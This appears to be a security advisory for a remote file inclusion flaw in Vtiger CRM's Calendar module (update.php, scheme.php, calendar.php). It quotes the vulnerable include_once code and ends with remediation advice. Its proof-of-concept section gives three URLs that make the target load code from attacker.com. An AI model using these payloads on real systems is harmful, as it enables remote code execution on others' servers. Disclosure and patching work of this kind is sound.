Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Vtiger CRM

vtiger CRM is 100% Open Source Customer Relationship Management solution built over

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

In folder modules/Calendar/admin/ I found vulnerability script update.php
--------------------------update.php---------------------------------------
....
<?

  include_once $calpath .'webelements.p3';
  include_once $calpath .'permission.p3';
...
----------------------------------------------------------

Input passed to the "$calpath" parameter in update.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

modules/Calendar/admin/update.php
modules/Calendar/admin/scheme.php
modules/Calendar/calendar.php


Proof Of Concept:
~~~~~~~~~~~~~~

http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?calpath=http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpath=http://attacker.com/inject.txt?

Solution:
~~~~~~
- Upgrade to Vtiger CRM 5.0
- Sanitize variable $calpath on affected files.
- Turn off register_globals
